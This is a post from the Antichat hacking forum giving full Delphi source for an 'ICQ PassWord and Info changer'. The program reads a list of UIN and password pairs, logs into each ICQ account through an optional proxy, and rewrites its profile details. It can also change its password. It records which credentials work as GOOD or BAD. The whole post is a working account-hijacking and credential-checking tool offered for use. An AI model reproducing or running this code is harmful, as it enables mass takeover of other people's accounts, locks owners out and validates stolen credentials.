Форум АНТИЧАТ - ICQ PassWord and Info changer

эх...
Код:
unit Unit1;



interface



uses

  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

  Dialogs, ICQClient, StdCtrls,  ICQWorks, ExtCtrls, ComCtrls, ImgList,

  Menus, Spin, XPMan, Buttons, Gauges, MMsystem;



type

  TForm1 = class(TForm)

    BitBtn1: TBitBtn;

    BitBtn2: TBitBtn;

    BitBtn3: TBitBtn;

    BitBtn5: TBitBtn;

    XPManifest1: TXPManifest;

    BitBtn7: TBitBtn;

    ICQClient1: TICQClient;

    PageControl1: TPageControl;

    TabSheet1: TTabSheet;

    BitBtn8: TBitBtn;

    BitBtn9: TBitBtn;

    BitBtn10: TBitBtn;

    UinPass: TMemo;

    CheckUinPass: TMemo;

    TabSheet2: TTabSheet;

    TabSheet3: TTabSheet;

    TabSheet5: TTabSheet;

    TabSheet7: TTabSheet;

    GroupBox1: TGroupBox;

    Nik: TEdit;

    first: TEdit;

    last: TEdit;

    Label1: TLabel;

    Label2: TLabel;

    Label3: TLabel;

    GroupBox2: TGroupBox;

    email: TEdit;

    PMail: TCheckBox;

    GroupBox3: TGroupBox;

    city: TEdit;

    state: TEdit;

    Label4: TLabel;

    Label5: TLabel;

    Label6: TLabel;

    street: TEdit;

    Label7: TLabel;

    GroupBox4: TGroupBox;

    phone: TEdit;

    Label8: TLabel;

    fax: TEdit;

    Label9: TLabel;

    Label10: TLabel;

    Mobile: TEdit;

    GroupBox6: TGroupBox;

    HomePage: TEdit;

    DataB: TDateTimePicker;

    Label12: TLabel;

    Label13: TLabel;

    Label14: TLabel;

    GroupBox7: TGroupBox;

    MemoAbout: TMemo;

    Gender: TComboBox;

    Country: TComboBox;

    GroupBox5: TGroupBox;

    GroupBox8: TGroupBox;

    Label11: TLabel;

    Label15: TLabel;

    GroupBox9: TGroupBox;

    NewPass: TEdit;

    BitBtn4: TBitBtn;

    GroupBox10: TGroupBox;

    UinPassFile: TEdit;

    Label16: TLabel;

    CheckUinPassFile: TEdit;

    Label17: TLabel;

    TimeOut: TSpinEdit;

    Label18: TLabel;

    CPW: TCheckBox;

    BitBtn6: TBitBtn;

    BitBtn11: TBitBtn;

    GroupBox11: TGroupBox;

    ProxyHost: TEdit;

    Label19: TLabel;

    Label20: TLabel;

    ProxyPort: TSpinEdit;

    ProxyType: TComboBox;

    Label21: TLabel;

    UseProxy: TCheckBox;

    Label22: TLabel;

    Label23: TLabel;

    Label24: TLabel;

    Label25: TLabel;

    Label26: TLabel;

    Label27: TLabel;

    Label28: TLabel;

    Image2: TImage;

    GroupBox12: TGroupBox;

    Label29: TLabel;

    Label30: TLabel;

    ImageList1: TImageList;

    Image1: TImage;

    Timer1: TTimer;

    Timer2: TTimer;

    Timer3: TTimer;

    Timer4: TTimer;

    SaveDialog1: TSaveDialog;

    OpenDialog1: TOpenDialog;

    procedure BitBtn8Click(Sender: TObject);

    procedure BitBtn10Click(Sender: TObject);

    procedure BitBtn4Click(Sender: TObject);

    procedure BitBtn9Click(Sender: TObject);

    procedure ICQClient1UserGeneralInfo(Sender: TObject; UIN, NickName,

      FirstName, LastName, Email, City, State, Phone, Fax, Street,

      Cellular, Zip, Country: String; TimeZone: Byte;

      PublishEmail: Boolean);

    procedure ICQClient1Error(Sender: TObject; ErrorType: TErrorType;

      ErrorMsg: String);

    procedure UseProxyClick(Sender: TObject);

    procedure Timer1Timer(Sender: TObject);

    procedure ICQClient1Login(Sender: TObject);

    procedure Timer3Timer(Sender: TObject);

    procedure FormCreate(Sender: TObject);

    procedure Timer2Timer(Sender: TObject);

    procedure BitBtn1Click(Sender: TObject);

    procedure BitBtn2Click(Sender: TObject);

    procedure BitBtn3Click(Sender: TObject);

    procedure BitBtn5Click(Sender: TObject);

    procedure BitBtn7Click(Sender: TObject);

    procedure Timer4Timer(Sender: TObject);

    procedure BitBtn6Click(Sender: TObject);

    procedure BitBtn11Click(Sender: TObject);

  private

    { Private declarations }

  public

    { Public declarations }

  end;



var

  Form1: TForm1;

  zip:string;

  t:TStringList;

  Byear:Integer;

  BMonth:Integer;

  BDay:Integer;

  NU:Integer;



implementation



{$R *.dfm}



procedure TForm1.BitBtn8Click(Sender: TObject);

begin

 UinPass.Lines.LoadFromFile(UinPassFile.Text);

 UinPass.Lines.Add('END');

 Timer2.Interval:=TimeOut.Value;

 Timer3.Enabled:=False;

 Timer1.Enabled:=True;

 Timer2.Enabled:=True;

 t:=TStringList.create;

 t.text:=stringReplace(DateToStr(DataB.Date) ,'.',#13#10,[rfReplaceAll]);

 BYear:=StrToInt(t[2]);

 BMonth:=StrToInt(t[1]);

 BDay:=StrToInt(t[0]);

 t.free;





end;



procedure TForm1.BitBtn10Click(Sender: TObject);

begin

 Timer3.Enabled:=True;

 NU:=0;

end;



procedure TForm1.BitBtn4Click(Sender: TObject);

begin

 Close;

end;



procedure TForm1.BitBtn9Click(Sender: TObject);

begin

 Timer3.Enabled:=True;

end;



procedure TForm1.ICQClient1UserGeneralInfo(Sender: TObject; UIN, NickName,

  FirstName, LastName, Email, City, State, Phone, Fax, Street, Cellular,

  Zip, Country: String; TimeZone: Byte; PublishEmail: Boolean);

begin

 Form1.Caption:=Zip;

end;



procedure TForm1.ICQClient1Error(Sender: TObject; ErrorType: TErrorType;

  ErrorMsg: String);

begin

Form1.Caption:=ErrorMsg;

if (ErrorMsg='Bad password') then CheckUinPass.Lines.Add(IntToStr(ICQClient1.UIN)+';'+ICQClient1.Password+' BAD');

end;



procedure TForm1.UseProxyClick(Sender: TObject);

var

 it:integer;

begin

 if (UseProxy.Checked=True) then

  begin

   it:=ProxyType.ItemIndex;

   ICQClient1.ProxyHost:=ProxyHost.Text;

   ICQClient1.ProxyPort:=ProxyPort.Value;

   ICQClient1.ProxyResolve:=True;

   case it of

    0:ICQClient1.ProxyType:=P_HTTP;

    1:ICQClient1.ProxyType:=P_HTTPS;

    2:ICQClient1.ProxyType:=P_NONE;

    3:ICQClient1.ProxyType:=P_SOCKS4;

    4:ICQClient1.ProxyType:=P_SOCKS5;

   end

  end

  else begin

   ICQClient1.ProxyResolve:=False;

   ICQClient1.ProxyType:=P_NONE;

  end;

end;



procedure TForm1.Timer1Timer(Sender: TObject);

var

 t1:TStringList;

begin

 ICQClient1.Disconnect;

 t1:=TStringList.create;

 t1.text:=stringReplace(UinPass.Lines.Strings[NU],';',#13#10,[rfReplaceAll]);

 ICQClient1.UIN:=StrToInt(t1[0]);

 ICQClient1.Password:=t1[1];

 ICQClient1.Login;

 Timer1.Enabled:=False;

end;



procedure TForm1.ICQClient1Login(Sender: TObject);

begin

 ICQClient1.SetSelfInfoGeneral(nik.Text, first.Text, last.text, email.text, city.text, state.text, phone.Text, fax.text, street.Text, Mobile.text, zip,Country.ItemIndex, 0, PMail.Checked);

 ICQClient1.SetSelfInfoMore(0, Gender.ItemIndex, HomePage.Text, BYear, BMonth, BDay, '0', '0', '0');

 ICQClient1.SetSelfInfoAbout(MemoAbout.Text);

 if (CPW.Checked=True) then ICQClient1.ChangePassword(NewPass.Text);

 NU:=NU+1;

 Sleep (3000);

 if (CPW.Checked=True) then CheckUinPass.Lines.Add(IntToStr(ICQClient1.UIN)+';'+ICQClient1.Password+' GOOD')

  else CheckUinPass.Lines.Add(IntToStr(ICQClient1.UIN)+';'+NewPass.Text+' GOOD');



 if (UinPass.Lines.Strings[NU]='END') then

  begin

   Timer1.Enabled:=False;

   Timer2.Enabled:=False;

   Timer3.Enabled:=True;

   CheckUinPass.Lines.Add('COMPLITE');

   MessageBox (getactivewindow , 'CHANGE COMPLITE', 'CHANGE COMPLITE', mb_iconinformation or mb_ok);

  end;

 Timer1.Enabled:=True;

end;



procedure TForm1.Timer3Timer(Sender: TObject);

begin

 Timer1.Enabled:=False;

 Timer2.Enabled:=False;

end;



procedure TForm1.FormCreate(Sender: TObject);

begin

 NU:=0;

end;



procedure TForm1.Timer2Timer(Sender: TObject);

begin

 Timer1.Enabled:=True;

end;



procedure TForm1.BitBtn1Click(Sender: TObject);

begin

 PageControl1.ActivePageIndex:=0;

end;



procedure TForm1.BitBtn2Click(Sender: TObject);

begin

 PageControl1.ActivePageIndex:=1;

end;



procedure TForm1.BitBtn3Click(Sender: TObject);

begin

 PageControl1.ActivePageIndex:=2;

end;



procedure TForm1.BitBtn5Click(Sender: TObject);

begin

 PageControl1.ActivePageIndex:=3;

end;



procedure TForm1.BitBtn7Click(Sender: TObject);

begin

 PageControl1.ActivePageIndex:=4;

end;



procedure TForm1.Timer4Timer(Sender: TObject);

begin

 CheckUinPass.Lines.SaveToFile(CheckUinPassFile.Text);

end;



procedure TForm1.BitBtn6Click(Sender: TObject);

begin

 OpenDialog1.Execute;

 UinPassFile.Text:=OpenDialog1.FileName;

end;



procedure TForm1.BitBtn11Click(Sender: TObject);

begin

 SaveDialog1.Execute;

 CheckUinPassFile.Text:=SaveDialog1.FileName;

end;



end.